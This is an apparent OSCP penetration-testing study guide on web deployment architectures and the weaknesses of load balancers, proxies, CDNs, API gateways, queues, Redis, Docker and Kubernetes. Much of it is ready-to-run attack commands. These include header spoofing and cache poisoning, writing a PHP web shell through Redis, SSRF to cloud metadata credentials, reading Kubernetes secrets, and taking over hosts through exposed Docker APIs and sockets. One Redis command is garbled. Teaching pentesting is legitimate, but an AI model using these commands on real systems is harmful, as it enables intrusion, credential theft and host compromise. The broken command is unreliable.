Web Application Deployment Architectures
1. Architecture Overview
Why Architecture Matters for Pentesters
Understanding deployment architecture is critical for OSCP because:
- Different architectures expose different attack surfaces — Each component (load balancer, API gateway, container) has unique vulnerabilities.
- Internal network topology affects exploitation — Knowing how services communicate helps with SSRF, pivot, and lateral movement.
- Technology stack determines tool selection — Docker/Kubernetes environments require different tools than traditional monoliths.
- Defense depth varies — Multi-tier architectures may have more (or fewer) security controls per layer.
2. Common Web Application Architectures
2.1 Traditional Monolith Architecture
Internet
|
[Client]
|
[Firewall]
|
+-------------------+
| Web Server |
| (Apache/NGINX) |
+-------------------+
|
+-------------------+
| App Server |
| (Tomcat/IIS/Node) |
+-------------------+
|
+-------------------+
| Database |
| (MySQL/PostgreSQL) |
+-------------------+
Characteristics:
- Single codebase deployed as one unit
- Shared database
- All components on same server or tightly coupled
- Simpler to deploy, harder to scale
Attack Surface:
- Web server vulnerabilities (Apache/NGINX exploits)
- Application server vulnerabilities (Tomcat manager, IIS misconfigurations)
- Database exposure (direct DB access, weak credentials)
- Shared resource risks (compromising one component affects all)
Common OSCP Targets:
- Metasploitable, DVWA, bWAPP, Juice Shop
- Single-server VMs with web app + database
2.2 Multi-Tier Architecture
Internet
|
+-------------------+
| Load Balancer |
| (HAProxy/ALB) |
+-------------------+
/ \
+--------------+ +--------------+
| Web Server 1 | | Web Server 2 |
| (NGINX) | | (NGINX) |
+--------------+ +--------------+
\ /
+-------------------+
| App Server Pool |
| (Tomcat x3) |
+-------------------+
/ \
+--------------+ +--------------+
| Primary DB | | Replica DB |
| (MySQL) | | (MySQL) |
+--------------+ +--------------+
Characteristics:
- Separation of concerns (web, app, data tiers)
- Horizontal scaling at each tier
- Load balancing for high availability
- Database replication for read scaling
Attack Surface:
- Load balancer: Misconfiguration, SSL termination issues, header manipulation
- Web tier: Web server exploits, directory traversal
- App tier: Application vulnerabilities, session management
- Data tier: Database exploits, replication lag exploitation
- Inter-tier communication: Internal network attacks, SSRF
2.3 Microservices Architecture
Internet
|
+-------------------+
| API Gateway |
| (Kong/Zuul) |
+-------------------+
/ | \
+-----------+ | +-----------+
| Service A | | | Service B |
| (Users) | | | (Orders) |
+-----------+ | +-----------+
| | |
+-----------+ | +-----------+
| DB A | | | DB B |
| (MongoDB) | | | (Postgres)|
+-----------+ | +-----------+
|
+-----------+
| Service C |
| (Auth) |
+-----------+
|
+-----------+
| Redis Cache |
+-----------+
Characteristics:
- Independent services with separate databases
- API gateway routes requests to appropriate service
- Service-to-service communication via REST/gRPC
- Each service independently deployable and scalable
Attack Surface:
- API Gateway: Authentication bypass, rate limiting bypass, routing manipulation
- Service endpoints: Each service is a separate attack surface
- Service mesh: Inter-service communication interception
- Shared resources: Cache poisoning, message queue attacks
- Database per service: Different DB technologies = different exploit paths
2.4 Serverless Architecture
Internet
|
+-------------------+
| API Gateway |
| (AWS API GW) |
+-------------------+
/ | \
+-----------+ | +-----------+
| Function A| | | Function B|
| (Lambda) | | | (Lambda) |
+-----------+ | +-----------+
| |
+-----------+ | +-----------+
| DynamoDB | | | S3 Bucket |
+-----------+ | +-----------+
|
+-----------+
| Function C|
| (Lambda) |
+-----------+
|
+-----------+
| SQS Queue |
+-----------+
Characteristics:
- Code runs in ephemeral containers (no persistent servers)
- Event-driven execution
- Auto-scaling based on demand
- Managed infrastructure (no server management)
Attack Surface:
- API Gateway: Input validation, authorization rules
- Function code: Injection, dependency vulnerabilities
- Environment variables: Secrets exposure
- IAM roles: Overly permissive function permissions
- Event sources: Queue/topic poisoning
- Cloud storage: S3 bucket misconfigurations
2.5 Containerized Architecture (Docker/Kubernetes)
Internet
|
+-------------------+
| Ingress |
| Controller |
+-------------------+
|
+-------------------+
| Kubernetes |
| Cluster |
| |
| +------------+ |
| | Pod: Web | |
| | Container | |
| +------------+ |
| |
| +------------+ |
| | Pod: API | |
| | Container | |
| +------------+ |
| |
| +------------+ |
| | Pod: DB | |
| | Container | |
| +------------+ |
+-------------------+
Characteristics:
- Applications packaged in containers
- Kubernetes orchestrates container deployment
- Services discovered via internal DNS
- ConfigMaps and Secrets for configuration
Attack Surface:
- Container runtime: Docker daemon exposure, container escape
- Kubernetes API: Unauthorized access, RBAC misconfigurations
- Pod-to-pod communication: Network policy bypass
- Volume mounts: Sensitive file access
- Service accounts: Token theft, privilege escalation
3. Architecture Components and Their Vulnerabilities
3.1 Load Balancer
Purpose: Distribute traffic across multiple backend servers.
Common Products: HAProxy, NGINX, AWS ALB, F5 BIG-IP
Vulnerabilities:
| Vulnerability | Description | Exploitation |
|---|---|---|
| SSL Termination | LB handles SSL, backend receives HTTP | Intercept internal traffic, inject headers |
| Header Manipulation | LB adds/modifies headers | X-Forwarded-For spoofing for IP bypass |
| Health Check Exploitation | Health endpoints exposed | Access /health, /status for info |
| Session Affinity Bypass | Sticky sessions misconfigured | Session hijacking across servers |
| Slowloris | Connection exhaustion | Denial of service |
Exploitation Example:
# Spoof source IP via X-Forwarded-For
curl -H "X-Forwarded-For: 127.0.0.1" http://target.com/admin
# Access health check endpoints
curl http://target.com/health
curl http://target.com/status
curl http://target.com/server-status
3.2 Reverse Proxy
Purpose: Sit in front of web servers, handle SSL, caching, and request routing.
Common Products: NGINX, Apache reverse proxy, HAProxy
Vulnerabilities:
| Vulnerability | Description | Exploitation |
|---|---|---|
| Header Handling | Proxy adds/forwards headers | Host header injection, SSRF |
| Path Normalization | Different URL parsing | Path traversal bypass |
| Request Smuggling | CL/TE handling differences | Request smuggling attacks |
| Cache Poisoning | Shared cache between users | Inject malicious cached responses |
Host Header Injection:
# Change Host header to access internal services
curl -H "Host: internal-api.local" http://target.com/
# Access admin panel via Host header
curl -H "Host: admin.target.com" http://target.com/
3.3 CDN (Content Delivery Network)
Purpose: Cache static content at edge locations closer to users.
Common Products: Cloudflare, Akamai, AWS CloudFront
Vulnerabilities:
| Vulnerability | Description | Exploitation |
|---|---|---|
| Cache Poisoning | Inject malicious content into cache | Host header injection via CDN |
| Origin Exposure | Bypass CDN to reach origin | Direct origin IP access |
| Cache Key Manipulation | Different cache keys for different users | Session leakage via cache |
Cache Poisoning Example:
# Poison CDN cache with malicious Location header
curl -H "Host: evil.com@target.com" http://target.com/
# The CDN may cache a 301 redirect to evil.com
# All subsequent users get redirected
3.4 API Gateway
Purpose: Single entry point for microservices, handles auth, rate limiting, and routing.
Common Products: Kong, Apigee, AWS API Gateway, Zuul
Vulnerabilities:
| Vulnerability | Description | Exploitation |
|---|---|---|
| Auth Bypass | Missing token validation | Access protected endpoints |
| Rate Limit Bypass | Inconsistent rate limiting | Brute force attacks |
| Version Confusion | Multiple API versions | Exploit older, vulnerable version |
| Routing Manipulation | Path-based routing flaws | Access internal services |
API Gateway Bypass:
# Try bypassing auth at gateway level
curl http://target.com/api/v1/admin/users \
-H "X-API-Key: test"
# Try different API versions
curl http://target.com/api/v1/users/123
curl http://target.com/api/v2/users/123
curl http://target.com/api/internal/users/123
# Access internal routes
curl http://target.com/api/_health
curl http://target.com/api/_stats
3.5 Message Queue
Purpose: Asynchronous communication between services.
Common Products: RabbitMQ, Apache Kafka, AWS SQS, Redis
Vulnerabilities:
| Vulnerability | Description | Exploitation |
|---|---|---|
| Queue Poisoning | Inject malicious messages | Process malicious payloads |
| Unauthorized Access | Exposed management interface | Default credentials, no auth |
| Message Interception | Unencrypted queue traffic | Read/modify messages in transit |
RabbitMQ Default Credentials:
# Check for exposed RabbitMQ management
curl -s http://target.com:15672/
# Default: guest/guest
# Connect to RabbitMQ
rabbitmqadmin -l http://target.com:15672 \
-u guest -p guest list queues
3.6 Cache Layer
Purpose: Store frequently accessed data for fast retrieval.
Common Products: Redis, Memcached, Varnish
Vulnerabilities:
| Vulnerability | Description | Exploitation |
|---|---|---|
| Unauthorized Access | No authentication required | Direct data access |
| Cache Poisoning | Inject malicious cached data | Serve malicious content |
| Data Leakage | Sensitive data in cache | Session/token theft |
Redis Exploitation:
# Connect to exposed Redis
redis-cli -h target.com -p 6379
# Check for no authentication
redis-cli -h target.com -p 6379 INFO
# List all keys
redis-cli -h target.com -p 6379 KEYS '*'
# Read session data
redis-cli -h target.com -p 6379 GET "session:abc123"
# Write web shell via Redis
redis-cli -h target.com -p 6379 \
CONFIG SET dir /var/www/html
redis-cli -h target.com -p 6379 \
CONFIG SET dbshell.php
redis-cli -h target.com -p 6379 \
SET shell "<?php system(\$_GET['cmd']); ?>"
redis-cli -h target.com -p 6379 SAVE
3.7 Container Orchestration (Kubernetes)
Purpose: Manage container deployment, scaling, and operations.
Vulnerabilities:
| Vulnerability | Description | Exploitation |
|---|---|---|
| Container Escape | Break out of container to host | Kernel exploits, privileged containers |
| K8s API Exposure | Unsecured Kubernetes API | List pods, create pods, exec into pods |
| RBAC Misconfiguration | Overly permissive roles | Privilege escalation within cluster |
| Secret Exposure | Kubernetes Secrets in plaintext | Credential theft |
| Pod Security Policy | Missing or permissive policies | Run privileged containers |
Kubernetes API Exploitation:
# Check for exposed K8s API
curl -k https://target.com:6443/api/v1/nodes
curl -k https://target.com:6443/api/v1/pods
curl -k https://target.com:6443/api/v1/namespaces
# List all pods
kubectl --insecure-skip-tls-verify \
--server=https://target.com:6443 \
get pods --all-namespaces
# Exec into a pod
kubectl --insecure-skip-tls-verify \
--server=https://target.com:6443 \
exec -it pod-name -- /bin/sh
# Read secrets
kubectl --insecure-skip-tls-verify \
--server=https://target.com:6443 \
get secrets --all-namespaces -o yaml
4. Deployment Topologies and Attack Surfaces
4.1 Single Server Deployment
[All-in-One Server]
- Web Server
- Application
- Database
- File Storage
Attack Surface: Compromising any component gives access to everything. Risk Level: HIGH — No separation of concerns.
4.2 Multi-Tier Deployment
[Tier 1: Web] -> [Tier 2: App] -> [Tier 3: Data]
Attack Surface: Each tier is a separate target; lateral movement required. Risk Level: MEDIUM — Defense in depth, but internal trust may be excessive.
4.3 Microservices Deployment
[API Gateway] -> [Service A] [Service B] [Service C]
| | |
[DB A] [DB B] [DB C]
Attack Surface: Many endpoints, each with unique vulnerabilities. Risk Level: HIGH — Large attack surface, complex auth between services.
4.4 Serverless Deployment
[API Gateway] -> [Function A] [Function B]
| |
[DB] [S3]
Attack Surface: Function code, IAM roles, event sources. Risk Level: MEDIUM — Reduced infrastructure attacks, but logic/auth flaws remain.
4.5 Containerized Deployment
[K8s Cluster]
[Pod A] [Pod B] [Pod C]
| | |
[Svc A] [Svc B] [Svc C]
Attack Surface: Container runtime, K8s API, inter-pod communication. Risk Level: HIGH — Container escapes, API exposure, RBAC flaws.
4.6 Hybrid Cloud Deployment
[On-Premise] <-> [Cloud VPC]
| |
[Legacy App] [Microservices]
Attack Surface: Both environments plus the connection between them. Risk Level: VERY HIGH — Complex attack surface, inconsistent security.
5. SSRF for Internal Service Discovery
SSRF (Server-Side Request Forgery) is particularly effective in microservices and containerized architectures where internal services communicate.
Internal Service Discovery via SSRF
# Common internal endpoints to probe
curl -H "X-Forwarded-Host: http://169.254.169.254/latest/meta-data/" \
http://target.com/proxy
# AWS metadata
curl http://target.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Kubernetes service discovery
curl http://target.com/proxy?url=http://kubernetes.default.svc/
# Common internal services
curl http://target.com/proxy?url=http://localhost:8080/
curl http://target.com/proxy?url=http://127.0.0.1:3000/
curl http://target.com/proxy?url=http://database.internal:5432/
curl http://target.com/proxy?url=http://redis.internal:6379/
curl http://target.com/proxy?url=http://rabbitmq.internal:15672/
Cloud Metadata via SSRF
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
# Azure
http://169.254.169.254/metadata/instance?api-version=2020-06-01
# GCP
http://metadata.google.internal/computeMetadata/v1/
6. Docker-Specific Attack Vectors
Docker Daemon Exposure
# Check for exposed Docker socket
curl http://target.com:2375/containers/json
# List running containers
curl http://target.com:2375/containers/json
# Execute command in container
curl -X POST http://target.com:2375/containers/container-id/exec \
-H "Content-Type: application/json" \
-d '{
"AttachStdin": false,
"AttachStdout": true,
"AttachStderr": true,
"Tty": false,
"Cmd": ["cat", "/etc/passwd"]
}'
# Start a new privileged container
curl -X POST http://target.com:2375/containers/create \
-H "Content-Type: application/json" \
-d '{
"Image": "ubuntu",
"Privileged": true,
"HostConfig": {
"Binds": ["/:/host"]
},
"Cmd": ["/bin/bash"]
}'
Docker Socket Mount
If /var/run/docker.sock is mounted in a container:
# Inside compromised container
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock exec -it container-id /bin/sh
# Mount host filesystem
docker -H unix:///var/run/docker.sock run -it \
-v /:/host ubuntu chroot /host /bin/bash
7. OSCP Lab Scenarios
Scenario 1: Microservices SSRF
Setup: Web app with internal microservices accessible via SSRF.
# Discover internal services
curl -s "http://target.com/fetch?url=http://localhost:8080/health"
curl -s "http://target.com/fetch?url=http://localhost:3000/api/status"
curl -s "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
# Access internal admin panel
curl -s "http://target.com/fetch?url=http://localhost:9090/admin"
# Read internal configuration
curl -s "http://target.com/fetch?url=http://localhost:8080/config"
Scenario 2: Exposed Docker API
Setup: Docker daemon exposed on non-standard port.
# Find Docker API port
nmap -p 2375,2376 target.com
# Enumerate containers
curl http://target.com:2375/containers/json
# Get container details
CONTAINER_ID=$(curl -s http://target.com:2375/containers/json | \
python3 -c "import json,sys; print(json.load(sys.stdin)[0]['Id'])")
# Execute command
curl -X POST "http://target.com:2375/containers/$CONTAINER_ID/exec" \
-H "Content-Type: application/json" \
-d '{"Cmd":["cat","/etc/shadow"],"AttachStdout":true}'
Scenario 3: Kubernetes API Exposure
Setup: K8s API accessible from web application.
# Check K8s API
curl -k https://target.com:6443/api/
# List namespaces
curl -k https://target.com:6443/api/v1/namespaces
# List pods
curl -k https://target.com:6443/api/v1/pods
# Read secrets
curl -k https://target.com:6443/api/v1/namespaces/default/secrets
8. Key Takeaways
For OSCP Exams
- Map the architecture first — Identify components before attacking.
- Load balancers and reverse proxies — Check for header injection and bypass opportunities.
- API gateways — Test for auth bypass and internal route access.
- SSRF is your friend in microservices — Internal services are often unprotected.
- Check for exposed management interfaces — Docker API, K8s API, RabbitMQ, Redis.
- Cloud metadata via SSRF — Always try
169.254.169.254in SSRF contexts. - Container escape paths — Docker socket, privileged containers, host filesystem mounts.
- Default credentials everywhere — Management interfaces often use defaults.
Essential Commands
# Architecture reconnaissance
nmap -sV -p 80,443,8080,8443,2375,6443,15672,6379 target.com
# SSRF internal discovery
for port in 8080 3000 5000 9090 8000; do
curl -s "http://target.com/proxy?url=http://localhost:$port/"
done
# Docker API check
curl -s http://target.com:2375/version
# K8s API check
curl -k -s https://target.com:6443/api/
# Redis check
redis-cli -h target.com -p 6379 INFO server
9. Summary
Understanding web application deployment architectures is essential for effective penetration testing. Each architecture type — monolith, multi-tier, microservices, serverless, and containerized — presents unique attack surfaces and exploitation paths. The key is systematic reconnaissance: identify the architecture, map the components, and then target each component’s specific vulnerabilities.
In OSCP labs, microservices and containerized architectures are increasingly common. SSRF becomes a powerful technique for internal service discovery, and exposed management interfaces (Docker API, Kubernetes API, Redis, RabbitMQ) provide direct paths to compromise. Always check for default credentials, exposed APIs, and misconfigured access controls across all architectural components.